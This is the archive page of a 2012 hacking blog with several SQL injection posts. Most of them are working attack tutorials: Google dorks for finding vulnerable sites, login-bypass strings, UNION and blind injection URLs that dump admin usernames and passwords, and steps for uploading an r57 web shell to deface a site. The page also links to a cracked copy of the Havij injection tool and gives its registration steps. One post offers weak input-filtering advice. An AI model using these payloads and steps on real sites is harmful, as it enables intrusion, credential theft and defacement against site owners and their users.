Showing posts with label Sql Injection. Show all posts
Showing posts with label Sql Injection. Show all posts

Thursday, 30 August 2012

Penetration Tool : Maxsqli syntex maker tool MySQL injection

| |
0 comments

This tool helps hackers/pentesters to create sql syntax. Its also help in waf bypass sql injection method.

This is small program for those who hate typing :D.
it helps you build syntax for MySQL injection.
It supports basic MySQL injection and error based injection.
Just follow help inside the program and you won't have any problems.
If you find bugs then email on : maxonebt4@gmail.com.
Created By Danijel Maxa MaXoNe.Its a virus free program .Tool is compressed with free exe compressor and thats why it's detected as Pak_Generic.

Download : from here

Video Tutorial :


Thanks For Reading Keep Visting :- indicyborg
Read More

Protecting Preventing Sql Injection Attack Protecting Websites

| |
0 comments
Hello Friends in this tutorial we will discuss "Protection Of Website From sqli Attack" ,We All Know that Sqli Is Simple But Can Be Used As A Deadlier way so don't wrry if u don't know php, this is php friendly :)
Lets Begin

There are usually two types of attacks :

1. URL based
2. Form based


Major reason for both of them is 'badly architectured parametres'
many say That remove/rename or unlink the database configuration file, ofcourse this will work but this is NOT the solution, as it will halt the functionality of the site, your
Dynamic website will turn into just html pages in seconds, this is anologus to condition like, because of fear of robbery you don't buy anything for yourself too: P
what we will be doing is sanitizing and validating php variables, we have make sure That our critical global arrays like get, post, files, session, cookies etc allow data which we
Want them to store and nothing else, because we can't trust the fact that users will enter expected data. What we mean is suppose you have site script like this:

blabla.com/news.php?id=8

Now what dis means is, in our "news.php" script (in global GET array) we have an array location $_GET[id] which contains the value which is being passed via URL,
In our case it is '8', what usually careless admins do is, pass on the get[] as it is to the database query which is to be executed so that proper content for id=8
Can be extracted from database and thrown on the user screen, SQL query can be like :

$news_query = "SELECT * FROM news WHERE NEWS ='".$_GET['id']."'";

Now if we manipulate the URL and write 'something' in place of 'expected' integer then we may break normal query and can execute our own queries!
by breaking a query i mean, as in the above example we wrote

NEWS ='$_GET[id]'

if instead of expected id we write something like ==> 8'; eval_query; #
now what our new url is ==> blabla.com/news.php?id=8'; eval_query; #
our new query becomes ==> $news_query = "SELECT * FROM news WHERE NEWS ='8'; eval_query; #';
# is used to comment out query part after it, so now as u can see our "eval query" will be executed with normal expected query, eval query can be { DROP TABLE news} which will drop the "news"!
we can prevent this if instead of directly using get[] variable in query we first validate them and then use them, by validating I mean, we make sure that URL variables contains
only that data which we want them to store and nothing else (in this case, we want integers for id values), this depend on the programming of the script, we may sometimes want alphabets(lower case or upper case or both),
numbers, some special characters etc . . . php gives us some function to do the same :
in this case we can use "preg_replace" or maybe 'ereg_replace', i advertise preg_replace cause it has lot more functionality and is faster than ereg :) [you can search php.net if you want details about them]
so here we want only numbers in id fiels so we wil add this line before querying it :

$id = $_GET['id'];
$vald_id = preg_replace('#[^0-9]#i', '', $id);


first line is getting id variable from url via get and storing it in local variable $id, next we are cleaning it using preg_replace, so that it only contains numbers from 0-9 (if anything else is there it will replace it with a blank.space) and nothing else, we will use this cleaned variable
$vald_id in our query.
if we want some(defined) special characters along with alphabets we can write (in place of [^0-9]) :

preg_replace('#[^A-Za-z,.?$@!]#i', '', $id);
Now how to patch panels/forms of sites against sql
suppose there is an admin panel say

blabla.com/admin/


hit [ctrl+u] view source, crawl source and search for [action=], cause every html form will be processin and submitting form elements using php scripts, if its written something like
action="" ==> this means php script is calling itself and its processing is done in same script
if instead there ist written :
action="login.php" [it can also call lol.php dosn't matter :P]
this means all form data goes to login.php processed there and then sent to database. Main culprit is login.php because it is not filtering variables correcty!
go to login.php, it wil be having lines looking like

$username = $_POST['user'];
$pass=$_POST['pass'];
$loginquery = "SELECT * FROM tbl_admin WHERE username ='$username' AND password = '$pass'";
$result = mysql_query($loginquery);


so we need to clean POST array elements before using them in a query
we will use preg_replace as before and we will also use
strip_tags as we don't want any html javascript elements in our form data,
basic syntax is ==> strip_tags($variable)
if you want to allow certain tags like
then we can also do that as ==> strip_tags($var, '
')
i intended to make a short tut but i failed :p hope you

Thanks For Reading 

Keep Visiting :- indicyborg
Read More

Sunday, 26 August 2012

SQL Injection And Defacement For Beginners Complete Tutorial

| |
5 comments

1. What is SQL Injection?

SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

2. What is Defacement ?

A website defacement is an attack on a website that changes the visual appearance of the site. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own.
 
What do you need before you start with SQL Injection.
 
*You need Admin Finder ( to find admin panel from website )*
*SQL Injection Vulnerable Scanner*

 
Admin Finder:
Download Admin Finder
 
Vulnerable Scanner:
Download ADVANCED HAVIJ Scanner

Dorks for Finding Vulnerable sites!:
Common Dorks

inurl:members.php?id=
inurl:page.php?id=
inurl:login.php?id=
inurl:index.php?id=
inurl:register.php?id=
inurl:staff.php?id=
inurl:detail.php?id=
inurl:view.php?id=


MD5 Hash Crackers Online:

http://www.md5crack.com
http://www.md5decrypter.com
http://www.md5decrypter.co.uk
http://md5.rednoize.com
http://md5decryption.com
http://www.md5decrypter.com
http://passcracking.com
http://md5.my-addr.com/md5_decrypt-md5_c…r_tool.php
http://www.xmd5.org
http://www.md5cracker.com/index.php
http://md5.noisette.ch/index.php
http://md5cracker.org


Text to ASCII Converter:

http://www.mikezilla.com/exp0012.html?ascii=login&hex=%2578&unicode=%26%23120;
http://getyourwebsitehere.com/jswb/text_to_ascii.html


Shell:
 
http://www.kinginfet.net/shells/

Some vulnerable websites
Starting Tutorial:


1. First you need to find vulnerable website.

http://sql-vuln-site.com/index.php?id=15

2. Now you need to find columns.

http://sql-vuln-site.com/index.php?id=15 order by 1-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 2-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 3-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 4-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 5-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 6-- ( error )


Error’s looks like this:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’39′ at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=’39


3. Now Select columns
Columns is 5


http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5–
 
4. Finding version.
So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1


http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5–

you got the version like this:
5.0.32-Debian_7etch11-log

5. Finding Tables
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables–
And you will got tables like this:
PRODUCTS , ADMINS , and others
So must be there table by name: admin , users , user , login , client.
 

6. Finding Columns in the Table ADMINS.

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()–


We found ADMINS table now go to ASCII web and convert ADMINS
You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83
You put table_name=char(65,68,77,73,78,83)–

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)–

And you will got the columns in table ADMINS
There need to have columns with names: username and password
 
7. Getting username and password.

Now we put concat(username,0x3a,password) and admins

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins–

( 0x3a is ASCII )
8. Finded username and password
So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.
If password is not hash you are lucky and now you need to find admin panel.

9. Finding Admin Panel

Open the tool Admin Finder
Put the website in the bellow and click Scan.
So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php

You open website and there have Username: Password:
Put username and password what you got.
Done you login in Admin Panel lets upload shell and deface.

10. Uploading Shell and Add Deface

In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:

http://sql-vuln-site.com/upload/r57.php

If can’t upload r57.php change it to r57.jpg.php or r57.txt and try!

You need to make a deface page in html and put in the website
So you open the shell,you will found a file index.php and click on it and there you will remove the php code from index and put your html code.
 
Congratulations you deface the website.


Thanks For Reading..

Keep Visiting :- Indicyborg
Read More

Saturday, 25 August 2012

SQL Injection Tool Havij v1.15 Advanced SQL Injection

| |
1 comments

Today i am posting one of the best sql injection tool know as Havij...
Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.
The power of Havij that makes it different from similar tools is its injection methods.
The success rate is more than 95% at injectiong vulnerable targets using Havij.
The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.
Download It

To download
Cracked Versions :  Click Here


Steps to register

1.Run Havij.exe
2. Once it opens you will see register..
3. Click Register
Make sure you are connected to the internet
4. Under Name:
You write: Cracked@By.Exidous
5. Under File:
You select the folder where you are currently running the Havij program from and select Havij Key
6. Done....

Thanks For Reading.

Keep Visitng :- Indicyborg
Read More

Friday, 24 August 2012

MySQL Cheat Sheet

| |
1 comments

Hello friends today i am going to start a thread which teaches you about some useful syntax, functions, and queries for MySQL which can MySQL injection attack on websites over a period of time part by part. Here are some in part 1 as follow:

Users:
SELECT USER()
SELECT SYSTEM_USER()
SELECT SESSION_USER()
SELECT CURRENT_USER()

Version:
SELECT VERSION()
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os

Directories:
SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir

Current Database:
SELECT DATABASE()

Concatenation:
SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Returns: Hello MySQL and hello world!

Multi-Concat:

#Stacks the row "foo" from the table "bar" together, using the separator "
".
#Note: This operation can by default only grab 1024 bytes, and do not allow LIMIT.
#The 1024 byte limit is stored in the @@group_concat_max_len variable.

SELECT GROUP_CONCAT(foo SEPARATOR '
') FROM bar

Thanks For Visiting Indicyborg
Read More

Thursday, 23 August 2012

How To Hack Using Sqli Sql Injection + Sql Injection Complete Tut

| |
0 comments

Yestarday i have posted on article on BLIND SQLI TO HACK WEBSITE Today i am posting basic of hacking that is sqlinjection

As we all know A large number of websites are vulnerable to SQL injection attacks these days.Here i am going to discuss what is SQL injection and how it is done to hack any website. Now-a-days, many noobs find an SQL error in database by automated scanners and just exploit it for fun.Even i haven't used my skills for any bad purpose. This post is about those people who don't know that their website is actually vulnerable to such attack, also i am going to tell you that how its done and how to catch this vulnerability.Due to such vulnerability a Hacker can gain access to your website within a minute.

What is SQL Injection Actually?
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
In simple words I must say that hacker injects certain characters in the admin authentication area and gains access as admin.

How is basic SQL injection Accomplished?

Google is very helping in hacking, due to dork technique, Now you will think that what is dork?

Dork: A search enquiry to find a website specific to an attack type etc.

A few dorks are below, which are used to find, vulnerable site:

"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"

These dorks are pasted in the search bar of google.com. and then searched to find the website.

After finding the required target, injection is accomplished, like in the login fields of admin, as password following injections are inserted:

    '1'='1' or'1'(works on 99% of sites best one by me)
    ' or '1'='1
    ' or 'x'='x



In simple words:

Username : Admin
Password : 'or'1'='1


Hit login and you are in, All the sites are not vulnerable and this is just for learning purpose, We are not responsible for any harm or damage caused.

That was just a simple tutorial to give you basic information of SQL injection. There are more advanced techniques too. But some other day i will discuss.

How to check that your website is vulnerable?

This is the most important part in hacking.

Well then, After reading the basics above you might have got the concept of SQL injection. But many tools are also available to scan your website or server for such errors in database, Note, When error occurs it means that website is vulnerable.

First Method:
 

Here is an online scanner:

    http://webhosting.blackoutaio.com/~sqli/

For example, If you want to scan, www.website-wamiq.com then put this in scanner bar:

    inurl:php?=id+site:website-wamiq.com

If you get:

    http://www.website-wamiq.com/product.php?id='3 <== Success





Then it means that website is vulnerable and can be exploited easily by getting the number of colums.
(Note: catid, data, num is also used in addition to id. Simply replace id with your desired value in the dork of scanner.)
Here i got screen shot of a Website with dork "data" instead of "id" vulnerable to the attack it has scanned it overall and here are results:

Second Method:

Here is an automated scanner, Which is for newbies, Just click scan and take rest.
Go to this link to get detailed information on how to find SQL vulnerability in website.
To get Acunetix vulnerability scanner Trial version go here.


Hope, Now you might be aware of SQL injections. Futher information will be posted later.


Thanks For Reading This :p

Keep Visiting :-Indicyborg
Read More

Wednesday, 22 August 2012

Blind Sqli Tutorial To Hack A Website

| |
0 comments

Blind Sqli is one of the most famous technique to hack a website..it is being used by many great hacker over the world to hack many banking websites as well as many popular websites.
Still today also millions of webs sites and vulnerable, can be turn down and credential information can be leaked using this "Blind Sqli" ...

Here is the complete step by step tutorial


Before going into it lets understand what is Blind Sqli?

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker.Mean to say The page with the vulnerability may not be one that displays data but will display differently depending on the logical statement injected. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

The steps Begins here:
Suppose That You want to Hack This website with Blind Sqli for that you have to find such type of link shown below..

http://site.com/index.php?id=5


when we execute this, we see some page and articles on that page, pictures
etc…

then when we want to test it for blind sql injection attack


http://www.site.com/index.php?id=5 and 1=1

this is always true and the page loads normally,that's ok.

now the real test
 
http://www.site.com/index.php?id=5 and 1=2

this is false

so if some text, picture or some content is missing on returned page then
that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring i.e

http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e
http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works
when select don't work then we use subselect

i.e
http://www.site.com/index.php?id=5 and (select 1)=1

if page loads normally then subselects work.
then we gonna see if we have access to mysql.
user

i.e
http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can

pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend
i.e.

http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1

(with limit 0,1 our query here returns 1 row of data, cause subselect
returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users
exits.

if you get FALSE (some article missing),
just change table name until you
guess the right one :)

let's say that we have found that table name is users,
now what we need is
column name.

the same as table name,
we start guessing. Like i said before try the
common names for columns.

i.e

http://www.site.com/index.php?id=5 and (select substring(concat(1,
password),1,1) from users limit 0,1)=1


if the page loads normally we know that column name is password (if we get
false then try common names or just guess)

here we merge 1 with the column password,
then substring returns the first
character (,1,1)


4). Pull data from database


we found table users i columns username password so we gonna pull
characters from that.

http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>80


ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length.
ascii()

converts that 1 character into ascii value
and then compare it with simbol greater then ">" .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>95


we get TRUE, keep incrementing
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>98


TRUE again, higher


http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!


so the first character in username is char(99). Using the ascii converter

we know that char(99) is letter 'c'.
then let's check the second character.


http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),2,1))>99


Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it
returns the second character, 1 character in lenght)

http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!


we know that the second character is char(105) and that is 'i'. We have
'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know
that we have reach the end).

Thankz For Reading

Keep Visiting :- www.indicyborg.blogspot.in
Read More

Receive all updates via Facebook. Just Click the Like Button Below

?

You can also receive Free Email Updates:

Powered By IndiCyborg